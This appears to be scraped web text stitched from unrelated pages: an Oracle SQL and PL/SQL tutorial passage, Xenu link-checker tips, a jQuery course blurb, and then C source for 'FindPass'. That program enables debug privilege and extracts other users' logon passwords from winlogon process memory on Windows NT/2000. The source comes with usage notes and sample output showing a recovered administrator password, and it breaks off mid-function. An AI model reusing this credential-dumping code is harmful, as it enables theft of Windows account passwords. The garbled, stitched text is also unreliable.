BY子句，DISTINCT关键字时不能执行delete语句 3. 在视图包含GROUP函数，GROUP BY子句，DISTINCT关键字，ROWNUM为例，列定义为表达式时不能执行update语句 4. 在视图包含GROUP函数，GROUP BY子句，DISTINCT关键字，ROWNUM为例，列定义为表达式，表中非空的列子视图定义中未包括时不能执行insert语句 5. 可以使用WITH READ ONLY来屏蔽DML操作三、内嵌视图内嵌视图是在from语句中的可以把表改成一个子查询。内嵌视图不属于任何用户，也不是对象，内嵌视图是子查询的一种。  例子 Select * from (select * from emp where deptno=10) where sal>2000 四、对象视图对象类型在数据库编程中有许多好处，但有时，应用程序已经开发完成。为了迎合对象类型而重建数据表是不现实的。对象视图正是解决这一问题的优秀策略。五、物化视图常用于数据库的容灾，不是传统意义上虚拟视图，是实体化视图，和表一样可以存储数据、查询数据。主备数据库数据同步通过物化视图实现，主备数据库通过data link连接，在主备数据库物化视图进行数据复制。当主数据库垮掉时，备数据库接管，实现容灾。  语法 create materialized view materialized_view_name build [immediate|deferred] --1.创建方式 refresh [complete|fast|force|never] --2.物化视图刷新方式 on [commit|demand] --3.刷新触发方式 start with (start_date) --4.开始时间 next (interval_date) --5.间隔时间 with [primary key|rowid] --默认 primary key ENABLE QUERY REWRITE --7.是否启用查询重写 as --8.关键字 select statement; --9.基表选取数据的select语句 1. 创建方式  immediate(默认):立即  deferred:延迟，至第一次refresh时，才生效 2. 物化视图刷新方式  force(默认):如果可以快速刷新，就执行快速刷新,否则，执行完全刷新  complete:完全刷新，即刷新时更新全部数据，包括视图中已经生成的原有数据  fast:快速刷新，只刷新增量部分。前提是，需要在基表上创建物化视图日志。该日志记录基表数据变化情况，所以才能实现增量刷新  never:从不刷新 3. 刷新触发方式  on commit:基表有commit动作时，刷新视图，不能跨库执行(因为不知道别的库的提交动作)  on demand，在需要时刷新，根据后面设定的起始时间和时间间隔进行刷新，或者手动调用dbms_mview包中的过程刷新时再执行刷新。 4. 开始时间和间隔时间  4和5即开始刷新时间和下次刷新的时间间隔。如：start with sysdate next sysdate+1/1440表示马上开始，刷新间隔为1分钟。（与 on commit选项冲突） 5. 创建模式  primary key(默认):基于基表的主键创建  rowed:不能对基表执行分组函数、多表连结等需要把多个rowid合成一行的操作 6. 是否启用查询重写  如果设置了初始化参数query_rewrite_enabled=true则默认就会启用查询重写。但是，数据库默认该参数为false。并且，不是什么时候都应该启用查询重写。所以，该参数应该设置为false，而在创建特定物化视图时，根据需要开启该功能。 7. 注意  如果选择使用了上面第4,5选项，则不支持查询重写功能（原因很简单，所谓重写，就是将对基表的查询定位到了物化视图上，而4、5选项会造成物化视图上部分数据延迟，所以，不能重写）。  例子 --创建增量刷新的物化视图时应先创建存储的日志空间 --在scott.emp表中创建物化视图日志 create materialized view log on emp tablespace users with rowid; --开始创建物化视图 --方式一 create materialized view mv_emp tablespace users --指定表空间 build immediate --创建视图时即生成数据 refresh fast --基于增量刷新 on commit --数据DML操作提交就刷新 with rowid --基于ROWID刷新 as select * from emp --方式二 create materialized view mv_emp2 tablespace users --指定表空间 refresh fast --基于增量刷新 start with sysdate --创建视图时即生成数据 next sysdate+1/1440 /*每隔一分钟刷新一次*/ with rowid --基于ROWID刷新 as select * from emp --删除物化视图日志 drop materialized view mv_emp 第七章索引一、概述索引是建立在表上的可选对象，设计索引的目的是为了提高查询的速度。但同时索引也会增加系统的负担，进行影响系统的性能。索引一旦建立后，当在表上进行DML操作时，Oracle会自动维护索引，并决定何时使用索引。索引的使用对用户是透明的，用户不需要在执行SQL语句时指定使用哪个索引及如何使用索引，也就是说，无论表上是否创建有索引，SQL语句的用法不变。用户在进行操作时，不需要考虑索引的存在，索引只与系统性能相关。  索引的原理当在一个没有创建索引的表中查询符合某个条件的记录时，DBMS会顺序地逐条读取每个记录与查询条件进行匹配，这种方式称为全表扫描。全表扫描方式需要遍历整个表，效率很低。  索引的类型 Oracle支持多种类型的索引，可以按列的多少、索引值是否唯一和索引数据的组织形式对索引进行分类，以满足各种表和查询条件的要求。  单列索引和复合索引  B树索引  位图索引  函数索引  创建索引 CREATE [UNIQUE] | [BITMAP] INDEX index_name ON table_name([column1 [ASC|DESC],column2 [ASC|DESC],…] | [express]) [TABLESPACE tablespace_name] [PCTFREE n1] [STORAGE (INITIAL n2)] [NOLOGGING] [NOLINE] [NOSORT]  UNIQUE：表示唯一索引，默认情况下，不使用该选项。  BITMAP：表示创建位图索引，默认情况下，不使用该选项。  PCTFREE：指定索引在数据块中的空闲空间。对于经常插入数据的表，应该为表中索引指定一个较大的空闲空间。  NOLOGGING：表示在创建索引的过程中不产生任何重做日志信息。默认情况下，不使用该选项。  ONLINE：表示在创建或重建索引时，允许对表进行DML操作。默认情况下，不使用该选项。  NOSORT：默认情况下，不使用该选项。则Oracle在创建索引时对表中记录进行排序。如果表中数据已经是按该索引顺序排列的，则可以使用该选项。二、单列索引和复合索引一个索引可以由一个或多个列组成。基于单个列所创建的索引称为单列索引，基于两列或多列所创建的索引称为多列索引。三、 B树索引 B树索引是Oracle数据库中最常用的一种索引。当使用CREATE INDEX语句创建索引时，默认创建的索引就是B树索引。B树索引就是一棵二叉树，它由根、分支节点和叶子节点三部分构成。叶子节点包含索引列和指向表中每个匹配行的ROWID值。叶子节点是一个双向链表，因此可以对其进行任何方面的范围扫描。 B树索引中所有叶子节点都具有相同的深度，所以不管查询条件如何，查询速度基本相同。另外，B树索引能够适应各种查询条件，包括精确查询、模糊查询和比较查询。  例子 --创建B树索引，属于单列索引 create index idx_emp_job on emp(job) --创建B树索引，属于复合索引 create index idx_emp_nameorsal on emp(ename,sal) --创建唯一的B树索引，属于单列索引 create unique index idx_emp_ename on emp(ename) --删除索引 drop index idx_emp_job drop index idx_emp_nameorsal drop index idx_emp_ename --如果表已存在大量的数据，需要规划索引段 create index idx_emp_nameorsal on emp(ename,sal) pctfree 30 tablespace system 四、位图索引在B树索引中，保存的是经排序过的索引列及其对应的ROWID值。但是对于一些基数很小的列来说，这样做并不能显著提高查询的速度。所谓基数，是指某个列可能拥有的不重复值的个数。比如性别列的基数为2（只有男和女）。因此，对于象性别、婚姻状况、政治面貌等只具有几个固定值的字段而言，如果要建立索引，应该建立位图索引，而不是默认的B树索引。  例子 --创建位图索引,单列索引 create bitmap index idx_bm_job on emp(job) --创建位图索引,复合索引 create bitmap index idx_bm_jobordeptno on emp(job,deptno) --删除位图索引 drop index idx_bm_job drop index idx_bm_jobordeptno 五、函数索引函数索引既可以使用B树索引，也可以使用位图索引，可以根据函数或表达式的结果的基数大小来进行选择，当函数或表达式的结果不确定时采用B树索引，当函数或表达式的结果是固定的几个值时采用位图索引。  例子 --合并索引 alter index idx_emp_ename COALESCE 六、并和重建索引表在使用一段时间后，由于用户不断对其进行更新操作，而每次对表的更新必然伴随着索引的改变，因此，在索引中会产生大量的碎片，从而降低索引的使用效率。有两种方法可以清理碎片：合并索引和重建索引。  合并索引就是将B树叶子节点中的存储碎片合并在一起，从而提高存取效率，但这种合并并不会改变索引的物理组织结构。 --创建B树类型的函数索引 create index idx_fun_emp_hiredate on emp(to_char(hiredate,'yyyy-mm-dd')) --创建位图类型的函数索引 create index idx_fun_emp_job on emp(upper(job))  重建索引相当于删除原来的索引，然后再创建一个新的索引，因此，CREAT INDEX语句中的选项同样适用于重建索引。如果在索引列上频繁进行UPDATE和DELETE操作，为了提高空间的利用率，应该定期重建索引。七、管理索引的原则使用索引的目的是为了提高系统的效率，但同时它也会增加系统的负担，进行影响系统的性能，因为系统必须在进行DML操作后维护索引数据。在新的SQL标准中并不推荐使用索引，而是建议在创建表的时候用主键替代。因此，为了防止使用索引后反而降低系统的性能，应该遵循一些基本的原则: 1. 小表不需要建立索引。 2. 对于大表而言，如果经常查询的记录数目少于表中总记录数目的15%时，可以创建索引。这个比例并不绝对，它与全表扫描速度成反比。 3. 对于大部分列值不重复的列可建立索引。 4. 对于基数大的列，适合建立B树索引，而对于基数小的列适合建立位图索引。 5. 对于列中有许多空值，但经常查询所有的非空值记录的列，应该建立索引。 6. LONG和LONG RAW列不能创建索引。 7. 经常进行连接查询的列上应该创建索引。 8. 在使用CREATE INDEX语句创建查询时，将最常查询的列放在其他列前面。 9. 维护索引需要开销，特别时对表进行插入和删除操作时，因此要限制表中索引的数量。对于主要用于读的表，则索引多就有好处，但是，一个表如果经常被更改，则索引应少点。 10. 在表中插入数据后创建索引。如果在装载数据之前创建了索引，那么当插入每行时，Oracle都必须更改每个索引。八、 ROWID和ROWNUM 1. ROWID rowid是一个伪列，是用来确保表中行的唯一性，它并不能指示出行的物理位置，但可以用来定位行。rowid是存储在索引中的一组既定的值（当行确定后）。我们可以像表中普通的列一样将它选出来, 利用rowid是访问表中一行的最快方式。rowid的是基于64位编码的18个字符显示（数据对象编号(6)+文件编号(3) +块编号(6)+行编号(3)=18位） select rowid from emp  ROWID的使用 --快速删除重复的记录 delete from temp t where rowid not in( select max(rowid) from temp where t.id=id and t.name=name and t.sal = sal ) 2. ROWNUM ROWNUM是一个序列，是oracle数据库从数据文件或缓冲区中读取数据的顺序。它取得第一条记录则rownum值为1，第二条为2，依次类推。 select rownum,emp.* from emp  ROWID的使用 --取前3条记录 select * from emp where rownum<=3--方式一 select * from emp where rownum!=4--方式二 --分页 select * from emp where empno not in( select empno from emp where rownum<5--方式一 ) and rownum <4 第八章 PL/SQL编程一、介绍 PL/SQL是oracle在标准sql语言上的扩展，PL/SQL不仅允许嵌入sql语言，还可以定义变量和常量，允许使用例外处理各种错误，这样使它的功能变得更加强大。 PL/SQL也是一种语言，叫做过程化sql语言(procedural language/sql),通过此语言可以实现复杂功能或者复杂的计算。  优点 1. 提高应用程序的运行性能 2. 模块化的设计思想 3. 减少网络传输量 4. 提高安全性  缺点 1. 可移植性差 2. 违反MVC设计模式 3. 无法进行面向对象编程 4. 无法做成通用的业务逻辑框架 5. 代码可读性差，相当难维护  分类二、 PL/SQL基础 1. 编写规范 1) 注释 --单行注释 /*块注释*/ 2) 标识符的命名规范  定义变量：建议用v_作为前缀v_price  定义常量：建议用c_作为前缀c_pi  定义游标：建议用_cursor作为后缀emp_cursor  定义例外：建议用e_作为前缀e_error 2. 块结构 PL/SQL块由三个部分组成：定义部分、执行部分、例外处理部分 Declare /* 定义部分(可选)：定义常量、变量、游标、例外，复杂数据类型 */ begin /* 执行部分(必须):要执行的PL/SQL语句和SQL语句 */ exception /*例外部分(可选):处理运行各种错误*/ end 案例一：只定义执行部分 begin /* dbms_output是oracle提供的包(类似java开发包) 该包包含一些过程，put_line就是其一个过程 */ dbms_output.put_line('HELLO WORLD'); --控制台输出 end; 案例二：定义声明部分和执行部分 declare --声明变量 v_name varchar2(20); v_sal number(7,2); begin --执行查询 select ename,sal into v_name,v_sal from emp where rownum=1; --控制台输出 dbms_output.put_line('用户名：' || v_name); dbms_output.put_line('工资：' || v_sal); end; 案例三：定义声明部分、执行部分和例外部分 declare --声明变量 v_name varchar2(20); v_sal number(7,2); begin --执行查询,条件中的&表示从控制接受数据 select ename,sal into v_name,v_sal from emp where empno=&no; --控制台输出 dbms_output.put_line('用户名：' || v_name); dbms_output.put_line('工资：' || v_sal); exception --例外处理(no_data_found) when no_data_found then dbms_output.put_line('执行查询没有结果'); end; 3. 预定义例外 1) case_not_found预定义例外在开发pl/sql块中编写case语句时，如果在when子句中没有包含必须的条件分支，就会触发case_not_found例外。 2) cursor_already_open预定义例外当重新打开已经打开的游标时，会隐含的触发cursor_already_open例外。 3) dup_val_on_index预定义例外在唯一索引所对应的列上插入重复的值时，会隐含的触发例外 4) invalid_cursorn预定义例外当试图在不合法的游标上执行操作时，会触发该例外 5) invalid_number预定义例外当输入的数据有误时，会触发该例外 6) no_data_found预定义例外当执行select into没有返回行，就会触发该例外 7) too_many_rows预定义例外当执行select into语句时，如果返回超过了一行，则会触发该例外 8) zero_divide预定义例外当执行2/0语句时，则会触发该例外 9) value_error预定义例外当在执行赋值操作时，如果变量的长度不足以容纳实际数据，则会触发该例外value_error 10) others 4. 变量类型分类在编写PL/SQL时，可以定义变量和常量，常用的类型主要有：  标量类型(scalar)  复合类型(composite)  参照类型(reference)  lob(large object) 5. 标量类型:常用类型 declare --定义一个变长字符串 v_name varchar2(20); --定义小数,并赋值 v_sal number(7,2) :=9.8; --定义整数 v_num number(4); --定义日期 v_birthday date; --定义布尔类型，不能为空，初始值为false v_flg boolean not null default false; --使用%type类型 v_job emp.job%type; begin v_flg := true; v_birthday :=sysdate; dbms_output.put_line('当前时间:' || v_birthday); end; 6. 复合类型：可以存放多个值。主要包括PL/SQL记录、PL/SQL表、嵌入表和varray这四种类型记录类型：类似于c中的结构体 declare --定义记录类型 type emp_record_type is record( empno emp.empno%type, ename emp.ename%type, sal emp.sal%type ); --定义变量引用记录类型 v_record emp_record_type; begin --使用记录类型 select empno,ename,sal into v_record from emp where rownum=1; --控制台输出 dbms_output.put_line('雇员编号：' || v_record.empno); dbms_output.put_line('雇员姓名：' || v_record.ename); dbms_output.put_line('雇员工资：' || v_record.sal); end; 表类型:类似于java语言中的数组 declare --声明表类型 type emp_table_type is table of varchar2(20) index by PLS_INTEGER;--表示表按整数来排序 v_enames emp_table_type;--定义变量引用表类型 begin select ename into v_enames(0) from emp where rownum=1; select ename into v_enames(1) from emp where empno=7499; select ename into v_enames(2) from emp where empno=7698; --输出 dbms_output.put_line('下标0：' || v_enames(0)); dbms_output.put_line('下标1：' || v_enames(1)); dbms_output.put_line('下标2：' || v_enames(2)); end; varray类型:可变长数组 declare --定义varray类型 type varray_list is varray(20) of number(4); --定义变量引用varray类型 v_list varray_list:=varray_list(7369,7499,7566); begin --for i in v_list.first..v_list.last for i in 1..v_list.count loop dbms_output.put_line(v_list(i)); end loop; end; PL/SQL集合方法 1) exists():用于确定特定集合元素是否存在 2) count：用于返回集合变量的元素总个数 3) limit：用于返回varray变量所允许的最大元素个数 4) first：用于返回集合变量中的一个元素的下标 5) last：用于返回集合变量中最后一个元素的下标 6) prior()：返回当前元素前一个元素的下标 7) next()：返回当前元素后一个元素的下标 8) extend：为集合变量添加元素，此方法适合用于嵌套表和varray 9) trim：从集合变量尾部删除元素，此方法适用于嵌套表和varray 10) delete：从集合变量中删除特定的元素，此方法适用于嵌套表和index-by表 7. 参照类型:类似c语言中的指针，oracle的游标三、 PL/SQL控制语句 1. 条件分支语句 1) if—then declare --声明变量 v_empno emp.empno%type; v_sal emp.sal%type; begin --根据雇员编号查询工资 select empno,sal into v_empno,v_sal from emp where empno=&no; --如果工资小于2000就加100 if v_sal<2000 then --工资加100 update emp set sal = sal+100 where empno=v_empno; --提交 commit; end if; end; 2) if—then—else declare --声明变量 v_loginname varchar2(10); v_password varchar2(10); begin --从控制台接收数据 v_loginname := '&ln'; v_password := '&pw'; if v_loginname = 'admin' and v_password = '123456' then dbms_output.put_line('用户登录成功！'); else dbms_output.put_line('用户登录失败！'); end if; end; 3) if—then—elsif—else declare --声明变量 v_empno emp.empno%type; v_job emp.job%type; begin --根据雇员编号查询职位 select empno,job into v_empno,v_job from emp where empno=&no; /*如果雇员所属职位是manager工资加1000 职位是salesman工资加500 其他职位加200 */ if v_job = 'MANAGER' then --MANAGER职位工资加1000 update emp set sal = sal+1000 where empno=v_empno; elsif v_job = 'SALESMAN' then --SALESMAN职位工资加500 update emp set sal = sal+500 where empno=v_empno; else --其他职位工资加200 update emp set sal = sal+200 where empno=v_empno; end if; --提交 commit; end; 4) case declare --声明变量 v_mark number(4); v_outstr varchar2(40); begin --从控制台接收成绩 v_mark := &m; case when v_mark=90 then v_outstr := '优秀'; when v_mark=80 then v_outstr := '良好'; when v_mark=70 then v_outstr := '中等'; when v_mark=60 then v_outstr := '及格'; when v_mark=0 then v_outstr := '不及格'; else v_outstr := '成绩输入有误'; end case; --控制台输出 dbms_output.put_line(v_outstr); end; 2. 循环语句 1) loop LOOP 要执行的语句; EXIT WHEN /*条件满足，退出循环语句*/ END LOOP; 其中：EXIT WHEN 子句是必须的，否则循环将无法停止。 declare v_num number(4):=1; begin --从控制台接收数据并插入到account表中 loop insert into account values(v_num,'&name'); exit when v_num =10; v_num :=v_num+1; end loop; end; 2) while WHILE LOOP要执行的语句;END LOOP; 其中：  循环语句执行的顺序是先判断的真假，如果为真则循环执行，否则退出循环  在WHILE循环语

　　检查网站死链接最好的工具-HA_Xenu汉化版　　Xenu的作用：用于检测网站连接有效性的绿色软件，使用简单，最大支持100线程( Parallel threads)，检测速度非常快。在对某网站的6层连接100630个连接进行检测时，使用默认的100线程耗仅费了1小时40分钟。当然耗费的网络资源比较多。　　Xenu的使用技巧：新建一个链接测试，文件——检查网址——输入网址——点击确定。　　注意：　　1、若不需要检查外部链接(Check external lin)，该项不需要打勾。比如测试某个网站，该网站有个外部链接www.seobaiy.com，若勾了外部链接，也会检查www.seobaiy.com，这显然不是我们测试的目标，因此不需要勾上检查外部链接; 　　2、更多选项设置(ore options)。可最多设置100个并列线程。最大层次建议在6以内，否则会有很多链接。报告(Report)可全选。比较关心的是中断链接、中断内部链接、统计、有效文字链接。应用到所有工作和需要时需要密码应勾上。　　3、若链接太多，生成报告时可能死掉打不开报告。解决如下：　　a：扫描完成后，在提示“是否生成报告”的提示界面上。　　b：进入你的账号的Temp目录，删除临时文件。这个目录默认是隐藏的。一般在这个位置C:\Documents and Settings\Administrator\Local Settings\Temp其中Administrator为你的账号删除临时文件可能需要很长时间，建议你直接将Temp目录删除。然后重新建立个目录即可。此前需要将XENU之外的所有程序关闭，防止Temp目录被使用导致无法删除。如果该目录提示不能删除，则需要进入该目录，手工删除几万个临时文件，光显示出来就需要很多时间，所以需要耐心，但是请相信这是值得的。　　c：删除完成后，返回XENU界面，在“选项”-“偏好设置”上进行配置，只选择中断连接和统计。在“文件”菜单，点击“报告”稍微等待一会就可以生成报告

jquery是一套跨浏览器的JavaScript库，简化HTML与JavaScript之间的操作。使用户能更方便地处理HTML documents、events... 本课程以jquery为核心，系统全面的掌握 jQuery Ajax jQuery常用插件 jQuery UI jQuery Mobile

// Find Password from winlogon in win2000 / winnt4 + < sp6 // // PasswordReminder.cpp --> FindPass.cpp // 1. http://www.smidgeonsoft.com/ // 2. shotgun add comment, bingle change a little to find other user in winlogon // This code is licensed under the terms of the GPL (gnu public license). // // Usage: FindPass DomainName UserName PID-of-WinLogon // // you can get the three params from pulist output in target system. // /* 因为登陆的域名和用户名是明文存储在winlogon进程里的，而PasswordReminder是限定了查找本进程用户的密码 <167-174： GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >，然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串 if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) > ，找到后就查后边的加密口令。其实只要你自己指定用户名和winlogon进程去查找就行了，只要你是管理员，任何本机用msgina.dll图形登陆的用户口令都可以找到。 1. pulist，找到系统里登陆的域名和用户名，及winlogon进程id 2. 然后给每个winlogon进程id查找指定的用户就行了。 example: C:\Documents and Settings\bingle>pulist Process PID User Idle 0 System 8 smss.exe 164 NT AUTHORITY\SYSTEM csrss.exe 192 NT AUTHORITY\SYSTEM winlogon.exe 188 NT AUTHORITY\SYSTEM wins.exe 1212 NT AUTHORITY\SYSTEM Explorer.exe 388 TEST-2KSERVER\Administrator internat.exe 1828 TEST-2KSERVER\Administrator conime.exe 1868 TEST-2KSERVER\Administrator msiexec.exe 1904 NT AUTHORITY\SYSTEM tlntsvr.exe 1048 NT AUTHORITY\SYSTEM taskmgr.exe 1752 TEST-2KSERVER\Administrator csrss.exe 2056 NT AUTHORITY\SYSTEM winlogon.exe 2416 NT AUTHORITY\SYSTEM rdpclip.exe 2448 TEST-2KSERVER\clovea Explorer.exe 2408 TEST-2KSERVER\clovea internat.exe 1480 TEST-2KSERVER\clovea cmd.exe 2508 TEST-2KSERVER\Administrator ntshell.exe 368 TEST-2KSERVER\Administrator ntshell.exe 1548 TEST-2KSERVER\Administrator ntshell.exe 1504 TEST-2KSERVER\Administrator csrss.exe 1088 NT AUTHORITY\SYSTEM winlogon.exe 1876 NT AUTHORITY\SYSTEM rdpclip.exe 1680 TEST-2KSERVER\bingle Explorer.exe 2244 TEST-2KSERVER\bingle conime.exe 2288 TEST-2KSERVER\bingle internat.exe 1592 TEST-2KSERVER\bingle cmd.exe 1692 TEST-2KSERVER\bingle mdm.exe 2476 TEST-2KSERVER\bingle taskmgr.exe 752 TEST-2KSERVER\bingle pulist.exe 2532 TEST-2KSERVER\bingle C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER administrator 188 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 188 (0x000000bc). To find TEST-2KSERVER\administrator password in process 188 ... The encoded password is found at 0x008e0800 and has a length of 10. The logon information is: TEST-2KSERVER/administrator/testserver. The hash byte is: 0x13. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\clovea password in process 1876 ... PasswordReminder is unable to find the password in memory. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER bingle 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\bingle password in process 1876 ... The logon information is: TEST-2KSERVER/bingle. There is no password. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 2416 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 2416 (0x00000970). To find TEST-2KSERVER\clovea password in process 2416 ... The logon information is: TEST-2KSERVER/clovea. There is no password. C:\Documents and Settings\bingle> */ #include #include #include #include #include typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( int argc, char* argv[] ) { printf( "\n\t To Find Password in the Winlogon process\n" ); printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); if ((!IsWinNT ()) && (!IsWin2K ())) { printf ("Windows NT or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. // 增加PasswordReminder的权限 // 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege ()) { printf ("Unable to add debug privilege.\n"); return (0); } printf ("The debug privilege has been added to PasswordReminder.\n"); // 获得几个未公开API的入口地址 HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. // 获得Winlogon进程的PID // 这里作者使用了几个Native API，其实使用PSAPI一样可以 DWORD WinLogonPID = argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; if (WinLogonPID == 0) { printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ) { mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) ); }else { GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); } printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID ); // Locate the block of memory containing // the password in WinLogon's memory space. // 在Winlogon进程中定位包含Password的内存块 BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { printf ("The logon information is: %S/%S.\n", UserDomain, UserName); printf ("There is no password.\n"); } else { printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin2K ()) DisplayPasswordWin2K (); else DisplayPasswordWinNT (); } } else printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } // main // // IsWinNT函数用来判断操作系统是否WINNT // BOOL IsWinNT (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } // IsWinNT // // IsWin2K函数用来判断操作系统是否Win2K // BOOL IsWin2K (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin2K // // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻找WinLogon进程 // 由于作者使用的是Native API，因此不需要PSAPI的支持 // DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, 